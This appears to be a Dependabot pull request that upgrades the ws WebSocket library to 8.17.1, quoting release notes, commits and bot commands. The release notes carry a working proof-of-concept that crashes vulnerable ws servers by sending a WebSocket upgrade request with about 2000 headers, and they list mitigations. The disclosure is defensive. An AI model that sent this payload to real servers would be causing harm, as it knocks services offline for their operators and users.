Sourced from ws's releases.

8.17.1

Bug fixes

• Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding the[server.maxHeadersCount][] threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j &lt; chars.length; j++) {
  const key = chars[i] + chars[j];
  headers[key] = 'x';
if (++count === 2000) break;
}

}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the [--max-http-header-size=size][] and/or the [maxHeaderSize][] options so that no more headers than the server.maxHeadersCount limit can be sent.

... (truncated)

• 3c56601 [dist] 8.17.1
• e55e510 [security] Fix crash when the Upgrade header cannot be read (#2231)
• 6a00029 [test] Increase code coverage
• ddfe4a8 [perf] Reduce the amount of crypto.randomFillSync() calls
• b73b118 [dist] 8.17.0
• 29694a5 [test] Use the highWaterMark variable
• 934c9d6 [ci] Test on node 22
• 1817bac [ci] Do not test on node 21
• 96c9b3d [major] Flip the default value of allowSynchronousEvents (#2221)
• e5f32c7 [fix] Emit at most one event per event loop iteration (#2218)
• Additional commits viewable in compare view

You can trigger Dependabot actions by commenting on this PR:

• @dependabot rebase will rebase this PR
• @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
• @dependabot merge will merge this PR after your CI passes on it
• @dependabot squash and merge will squash and merge this PR after your CI passes on it
• @dependabot cancel merge will cancel a previously requested merge and block automerging
• @dependabot reopen will reopen this PR if it is closed
• @dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
• @dependabot show <dependency name> ignore conditions will show all of the ignore conditions of the specified dependency
• @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
• @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
• @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
  You can disable automated security fix PRs for this repo from the Security Alerts page.